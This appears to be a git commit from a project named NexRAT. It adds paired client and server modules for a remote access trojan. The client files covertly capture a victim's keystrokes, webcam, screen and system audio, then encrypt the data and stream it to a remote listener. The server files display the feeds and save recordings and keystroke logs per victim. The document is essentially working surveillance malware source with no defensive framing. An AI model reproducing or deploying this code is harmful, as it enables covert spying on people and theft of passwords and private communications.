summaryrefslogtreecommitdiff
path: root/Modules
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:06:25 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:06:25 +0200
commit18a3d3bc354e667bc58385e59745b82b53695139 (patch)
treefef56722868ae768b16382aae2f3559ec4bbf370 /Modules
NexRATHEADmain
Diffstat (limited to 'Modules')
-rw-r--r--Modules/Clients/audio.py57
-rw-r--r--Modules/Clients/cam.py50
-rw-r--r--Modules/Clients/keylogger.py34
-rw-r--r--Modules/Clients/stream.py57
-rw-r--r--Modules/Clients/talk.py62
-rw-r--r--Modules/Servers/audio.py118
-rw-r--r--Modules/Servers/cam.py119
-rw-r--r--Modules/Servers/keylogger.py131
-rw-r--r--Modules/Servers/stream.py119
-rw-r--r--Modules/Servers/talk.py113
10 files changed, 860 insertions, 0 deletions
diff --git a/Modules/Clients/audio.py b/Modules/Clients/audio.py
new file mode 100644
index 0000000..a1a8d40
--- /dev/null
+++ b/Modules/Clients/audio.py
@@ -0,0 +1,57 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+
+from Specific.encrypt import Encryption
+from sys import exit
+
+
+def Audio(ip, port, encoding):
+ try:
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+
+ e = Encryption()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ CHANNELS = 2
+ RATE = 44100
+ p = pyaudio.PyAudio()
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True)
+
+ while True:
+ try:
+ Audio_msg = s.recv(1024)
+
+ if new_msg:
+ msg_len = int(Audio_msg[:headersize])
+ new_msg = False
+
+ full_msg += Audio_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = stream.read(CHUNK)
+
+ frame = pickle.dumps(frame)
+ frame = zlib.compress(frame, 1)
+ frame = e.do_encrypt(frame)
+
+ final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
+ s.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Clients/cam.py b/Modules/Clients/cam.py
new file mode 100644
index 0000000..04cdad4
--- /dev/null
+++ b/Modules/Clients/cam.py
@@ -0,0 +1,50 @@
+import socket
+import pickle
+import zlib
+import cv2
+
+from Specific.encrypt import Encryption
+from sys import exit
+
+
+def Cam(ip, port, encoding, position):
+ try:
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+
+ e = Encryption()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+ cam = cv2.VideoCapture(position)
+
+ while True:
+ try:
+ Cam_msg = s.recv(1024)
+
+ if new_msg:
+ msg_len = int(Cam_msg[:headersize])
+ new_msg = False
+
+ full_msg += Cam_msg
+
+ if len(full_msg)-headersize == msg_len:
+ check, frame = cam.read()
+ frame = pickle.dumps(frame)
+ frame = zlib.compress(frame, 1)
+ frame = e.do_encrypt(frame)
+
+ final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
+ s.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ cam.release()
+ cv2.destroyAllWindows()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Clients/keylogger.py b/Modules/Clients/keylogger.py
new file mode 100644
index 0000000..48dbf6a
--- /dev/null
+++ b/Modules/Clients/keylogger.py
@@ -0,0 +1,34 @@
+import socket
+import pickle
+import zlib
+
+from Specific.encrypt import Encryption
+from pynput.keyboard import Listener
+from sys import exit
+
+
+def Keylogger(ip, port, encoding):
+ try:
+ headersize = 10
+
+ e = Encryption()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+ def on_press(key):
+ try:
+ recv = s.recv(1024)
+
+ log = pickle.dumps(str(key))
+ log = zlib.compress(log)
+ log = e.do_encrypt(log)
+
+ final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log
+ s.send(final_msg)
+ except:
+ exit(0)
+
+ with Listener(on_press=on_press) as L:
+ L.join()
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Clients/stream.py b/Modules/Clients/stream.py
new file mode 100644
index 0000000..2b06a78
--- /dev/null
+++ b/Modules/Clients/stream.py
@@ -0,0 +1,57 @@
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Specific.encrypt import Encryption
+from Specific.grabber import Grabber
+from ctypes import windll
+from sys import exit
+
+user32 = windll.user32
+user32.SetProcessDPIAware()
+
+
+def Stream(ip, port, encoding):
+ try:
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+
+ e = Encryption()
+ g = Grabber()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+ while True:
+ try:
+ last_time = time.time()
+ recv_msg = s.recv(1024)
+
+ if new_msg:
+ msg_len = int(recv_msg[:headersize])
+ new_msg = False
+
+ full_msg += recv_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = g.grab()
+ cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2)
+
+ frame = pickle.dumps(frame)
+ frame = zlib.compress(frame, 1)
+ frame = e.do_encrypt(frame)
+
+ final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
+ s.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ cv2.destroyAllWindows()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Clients/talk.py b/Modules/Clients/talk.py
new file mode 100644
index 0000000..cc8d181
--- /dev/null
+++ b/Modules/Clients/talk.py
@@ -0,0 +1,62 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+
+from Specific.encrypt import Encryption
+from sys import exit
+
+
+def Talk(ip, port, encoding):
+ try:
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = b'next'
+
+ e = Encryption()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ CHANNELS = 2
+ RATE = 44100
+ p = pyaudio.PyAudio()
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+
+ while True:
+ try:
+ talk_msg = s.recv(81920)
+
+ if new_msg:
+ msg_len = int(talk_msg[:headersize])
+ new_msg = False
+
+ full_msg += talk_msg
+
+ if len(full_msg)-headersize == msg_len:
+ data = e.do_decrypt(full_msg[headersize:])
+ data = zlib.decompress(data)
+ data = pickle.loads(data)
+
+ stream.write(data)
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+ s.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Servers/audio.py b/Modules/Servers/audio.py
new file mode 100644
index 0000000..ffa2da9
--- /dev/null
+++ b/Modules/Servers/audio.py
@@ -0,0 +1,118 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+import time
+import wave
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+ info = get_module_data()
+ audio_settings = []
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind((info[1], int(info[3].split(',')[2])))
+ s.listen()
+except:
+ exit(0)
+
+
+def audio_info():
+ info = '\n'
+
+ for index, setting in enumerate(audio_settings):
+ info += f' - {setting[0]}[{index}]'
+ if len(audio_settings) > 1 and index + 1 != len(audio_settings):
+ info += '\n'
+
+ if len(audio_settings) == 0:
+ info = 'False'
+
+ return info
+
+
+def set_audio_settings(index):
+ global audio_settings
+
+ try:
+ if index == '*':
+ for audio_setting in audio_settings:
+ audio_setting[1].close()
+ return 'Audios closed!'
+ else:
+ audio_settings[int(index)][1].close()
+ return 'Audio closed!'
+ except:
+ return 'Audio failed to close.'
+
+
+def Audio(encoding, path, user):
+ try:
+ global audio_settings
+
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ CHANNELS = 2
+ RATE = 44100
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = b'next'
+
+ e = Encryption()
+ client, addr = s.accept()
+
+ u = (user, client, addr)
+ audio_settings.append(u)
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ p = pyaudio.PyAudio()
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+ frames = []
+
+ while True:
+ try:
+ client_msg = client.recv(81920)
+
+ if new_msg:
+ msg_len = int(client_msg[:headersize])
+ new_msg = False
+
+ full_msg += client_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = e.do_decrypt(full_msg[headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ stream.write(frame)
+ frames.append(frame)
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ audio_settings.remove(u)
+ waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
+ waveFile.setnchannels(CHANNELS)
+ waveFile.setsampwidth(p.get_sample_size(FORMAT))
+ waveFile.setframerate(RATE)
+ waveFile.writeframes(b''.join(frames))
+ waveFile.close()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Servers/cam.py b/Modules/Servers/cam.py
new file mode 100644
index 0000000..4e8aeb9
--- /dev/null
+++ b/Modules/Servers/cam.py
@@ -0,0 +1,119 @@
+import random
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+ info = get_module_data()
+ cam_settings = []
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind((info[1], int(info[3].split(',')[1])))
+ s.listen()
+except:
+ exit(0)
+
+
+def cam_info():
+ info = '\n'
+
+ for index, setting in enumerate(cam_settings):
+ info += f' - {setting[0]}[{index}]'
+ if len(cam_settings) > 1 and index + 1 != len(cam_settings):
+ info += '\n'
+
+ if len(cam_settings) == 0:
+ info = 'False'
+
+ return info
+
+
+def set_cam_settings(index):
+ global cam_settings
+
+ try:
+ if index == '*':
+ for cam_setting in cam_settings:
+ cam_setting[1].close()
+ return 'Cams closed!'
+ else:
+ stream_settings[int(index)][1].close()
+ return 'Cam closed!'
+ except:
+ return 'Cam failed to close.'
+
+
+
+def Cam(encoding, path, user, quality):
+ try:
+ global cam_settings
+
+ FRAMES = 5.0
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = b'next'
+
+ r = random.randint(0, 1000000)
+ e = Encryption()
+ client, addr = s.accept()
+
+ u = (user, client, addr)
+ cam_settings.append(u)
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality)
+
+ while True:
+ try:
+ client_msg = client.recv(81920)
+
+ if new_msg:
+ msg_len = int(client_msg[:headersize])
+ new_msg = False
+
+ full_msg += client_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = e.do_decrypt(full_msg[headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL)
+ cv2.imshow(f'{user}\'s live cam. {r}', frame)
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ client.close()
+ break
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ cam_settings.remove(u)
+ out.release()
+ exit(0)
+
+ cam_settings.remove(u)
+ out.release()
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Servers/keylogger.py b/Modules/Servers/keylogger.py
new file mode 100644
index 0000000..7d6f337
--- /dev/null
+++ b/Modules/Servers/keylogger.py
@@ -0,0 +1,131 @@
+import socket
+import pickle
+import zlib
+import time
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+ info = get_module_data()
+ keylogger_settings = []
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind((info[1], int(info[3].split(',')[3])))
+ s.listen()
+except:
+ exit(0)
+
+
+def keylogger_info():
+ info = '\n'
+
+ for index, setting in enumerate(keylogger_settings):
+ info += f' - {setting[0]}[{index}]'
+ if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings):
+ info += '\n'
+
+ if len(keylogger_settings) == 0:
+ info = 'False'
+
+ return info
+
+
+def set_keylogger_settings(index):
+ global keylogger_settings
+
+ try:
+ if index == '*':
+ for keylogger_setting in keylogger_settings:
+ keylogger_setting[1].close()
+ return 'Keyloggers closed!'
+ else:
+ keylogger_settings[int(index)][1].close()
+ return 'Keylogger closed!'
+ except:
+ return 'Keylogger failed to close.'
+
+
+def get_logs(index):
+ try:
+ with open(keylogger_settings[index][3], 'r') as f:
+ return (keylogger_settings[index][0], f.read())
+ except:
+ return None
+
+
+def Keylogger(encoding, path, user):
+ try:
+ global keylogger_settings
+
+ fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt'
+ first = True
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = b'next'
+
+ e = Encryption()
+ client, addr = s.accept()
+
+ u = (user, client, addr, fn)
+ keylogger_settings.append(u)
+
+
+ with open(fn, 'a') as f:
+ f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n')
+ f.flush()
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(1024)
+
+ if new_msg:
+ msg_len = int(client_msg[:headersize])
+ new_msg = False
+
+ full_msg += client_msg
+
+ if len(full_msg)-headersize == msg_len:
+ log = e.do_decrypt(full_msg[headersize:])
+ log = zlib.decompress(log)
+ log = pickle.loads(log)
+
+ result = ''
+ key = log.replace("'", '')
+ t = time.strftime("%Y-%m-%d (%H-%M-%S): ")
+
+ if first:
+ if 'Key.space' not in log or 'Key.enter' not in log:
+ result = t
+ first = False
+
+ if len(key) > 1:
+ result += f'[{key}]'
+ else:
+ result += key
+
+ if 'Key.space' in log or 'Key.enter' in log:
+ result = f'\n{t}{result}'
+
+ f.write(result)
+ f.flush()
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ keylogger_settings.remove(u)
+ exit(0) \ No newline at end of file
diff --git a/Modules/Servers/stream.py b/Modules/Servers/stream.py
new file mode 100644
index 0000000..727e2b4
--- /dev/null
+++ b/Modules/Servers/stream.py
@@ -0,0 +1,119 @@
+import random
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+ info = get_module_data()
+ stream_settings = []
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind((info[1], int(info[3].split(',')[0])))
+ s.listen()
+except:
+ exit(0)
+
+
+def stream_info():
+ info = '\n'
+
+ for index, setting in enumerate(stream_settings):
+ info += f' - {setting[0]}[{index}]'
+ if len(stream_settings) > 1 and index + 1 != len(stream_settings):
+ info += '\n'
+
+ if len(stream_settings) == 0:
+ info = 'False'
+
+ return info
+
+
+def set_stream_settings(index):
+ global stream_settings
+
+ try:
+ if index == '*':
+ for stream_setting in stream_settings:
+ stream_setting[1].close()
+ return 'Streams closed!'
+ else:
+ stream_settings[int(index)][1].close()
+ return 'Stream closed!'
+ except:
+ return 'Stream failed to close.'
+
+
+def Stream(encoding, path, user):
+ try:
+ global stream_settings
+
+ FRAMES = 5.0
+ QUALITY = (1920, 1080)
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = b'next'
+
+ r = random.randint(0, 1000000)
+ e = Encryption()
+ client, addr = s.accept()
+
+ u = (user, client, addr)
+ stream_settings.append(u)
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+ client.send(final_msg)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, QUALITY)
+
+ while True:
+ try:
+ client_msg = client.recv(81920)
+
+ if new_msg:
+ msg_len = int(client_msg[:headersize])
+ new_msg = False
+
+ full_msg += client_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = e.do_decrypt(full_msg[headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ cv2.namedWindow(f'{user}\'s live stream. {r}', cv2.WINDOW_NORMAL)
+ cv2.imshow(f'{user}\'s live stream. {r}', frame)
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ client.close()
+ break
+
+ real_msg = pickle.dumps(msg)
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = e.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ stream_settings.remove(u)
+ out.release()
+ exit(0)
+
+ stream_settings.remove(u)
+ out.release()
+ except:
+ exit(0) \ No newline at end of file
diff --git a/Modules/Servers/talk.py b/Modules/Servers/talk.py
new file mode 100644
index 0000000..499fadd
--- /dev/null
+++ b/Modules/Servers/talk.py
@@ -0,0 +1,113 @@
+import pyaudio
+import socket
+import pickle
+import zlib
+import time
+import wave
+
+from Utilities.db_queries import get_module_data
+from Specific.encrypt import Encryption
+from sys import exit
+
+try:
+ info = get_module_data()
+ talk_settings = []
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind((info[1], int(info[3].split(',')[4])))
+ s.listen()
+except:
+ exit(0)
+
+
+def talk_info():
+ info = '\n'
+
+ for index, setting in enumerate(talk_settings):
+ info += f' - {setting[0]}[{index}]'
+ if len(talk_settings) > 1 and index + 1 != len(talk_settings):
+ info += '\n'
+
+ if len(talk_settings) == 0:
+ info = 'False'
+
+ return info
+
+
+def set_talk_settings(index):
+ global talk_settings
+
+ try:
+ if index == '*':
+ for talk_setting in talk_settings:
+ talk_setting[1].close()
+ return 'Talks closed!'
+ else:
+ talk_settings[int(index)][1].close()
+ return 'Talk closed!'
+ except:
+ return 'Talk failed to close.'
+
+
+def Talk(encoding, path, user):
+ try:
+ global talk_settings
+
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ CHANNELS = 2
+ RATE = 44100
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ frames = []
+
+ e = Encryption()
+ client, addr = s.accept()
+
+ u = (user, client, addr)
+ talk_settings.append(u)
+
+ p = pyaudio.PyAudio()
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+
+ msg = pickle.dumps(stream.read(CHUNK))
+ msg = zlib.compress(msg, 1)
+ msg = e.do_encrypt(msg)
+ final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+ client.send(final_msg)
+
+ while True:
+ try:
+ client_msg = client.recv(1024)
+
+ if new_msg:
+ msg_len = int(client_msg[:headersize])
+ new_msg = False
+
+ full_msg += client_msg
+
+ if len(full_msg)-headersize == msg_len:
+ data = stream.read(CHUNK)
+ frames.append(data)
+
+ msg = pickle.dumps(data)
+ msg = zlib.compress(msg, 1)
+ msg = e.do_encrypt(msg)
+ final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg
+ client.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ talk_settings.remove(u)
+ waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
+ waveFile.setnchannels(CHANNELS)
+ waveFile.setsampwidth(p.get_sample_size(FORMAT))
+ waveFile.setframerate(RATE)
+ waveFile.writeframes(b''.join(frames))
+ waveFile.close()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file